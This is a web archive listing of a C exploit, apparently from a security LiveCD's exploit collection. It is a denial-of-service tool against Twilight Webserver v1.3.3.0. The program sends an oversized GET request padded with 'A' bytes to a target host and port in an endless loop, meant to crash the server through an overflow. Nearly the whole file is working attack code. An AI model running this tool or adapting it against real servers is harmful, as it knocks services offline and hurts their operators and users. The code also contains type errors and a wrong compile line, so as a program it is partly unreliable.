home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / twilight / twilight.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  85 lines

  1. /****************************************************************************
  2. *       Title: Denial of Service Attack against Twilight Webserver v1.3.3.0
  3. *       Author: posidron
  4. *
  5. *       Date: 2003-07-07
  6. *       Reference: http://www.twilightutilities.com
  7. *       Version: Twilight Webserver v1.3.3.0
  8. *       Related Info: http://www.tripbit.org/advisories/twilight_advisory.txt
  9. *
  10. *       Exploit: twilight.c
  11. *       Compile: gcc twilight -o twilight
  12. *
  13. *       Tripbit Security Development
  14. *
  15. *       Contact
  16. *       [-] Mail: posidron@tripbit.org
  17. *       [-] Web: http://www.tripbit.org
  18. *       [-] IRC: irc.euirc.net 6667 #tripbit
  19. *
  20. *       Program received signal SIGSEGV, Segmentation fault.
  21. *       0x41d780 in ?? ()
  22. *****************************************************************************/
  23.  
  24. #include <stdio.h>
  25. #include <netdb.h>
  26. #include <netinet/in.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h> 
  29.  
  30. int main(int argc, char *argv[])
  31. {
  32.         int sockfd;
  33.         struct sockaddr_in srv;
  34.         struct hostent *host;  
  35.         char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n";
  36.  
  37.         memset(flood, 0x41, 1037);
  38.  
  39.         strncpy(send, get, sizeof(send) -1);
  40.         strncat(send, flood, sizeof(send) - strlen(send) -1);
  41.         strncat(send, http, sizeof(send) - strlen(send) -1); 
  42.  
  43.         if(argc < 3)
  44.         {
  45.                 printf("Usage: %s [target] <port>\n", argv[0]);
  46.                 exit(0); 
  47.         }
  48.          
  49.         if((host = gethostbyname(argv[1])) == NULL)
  50.         {
  51.                 printf("Unknown host!\n");
  52.                 exit(0);
  53.         }
  54.          
  55.         srv.sin_family = AF_INET;
  56.         srv.sin_port = htons(atoi(argv[2]));
  57.         srv.sin_addr.s_addr = inet_addr((char*)argv[1]);
  58.  
  59.         printf("DoS against Twilight Webserver v1.3.3.0\n");  
  60.  
  61.         for(;;)
  62.         {
  63.                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  64.                 {
  65.                         printf("Can't start socket()!\n"); exit(0);
  66.                 }
  67.                  
  68.                 if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)
  69.                 {
  70.                         printf("Connection to server broken!\n"); close(sockfd);
  71.                 }
  72.  
  73.                 if(write(sockfd, send, strlen(send)) < 0)
  74.                 {
  75.                         break;
  76.                 }
  77.  
  78.                 close(sockfd);
  79.         }
  80.  
  81.         printf("Attack done!...\n");
  82.  
  83.         return 0;
  84. }
  85.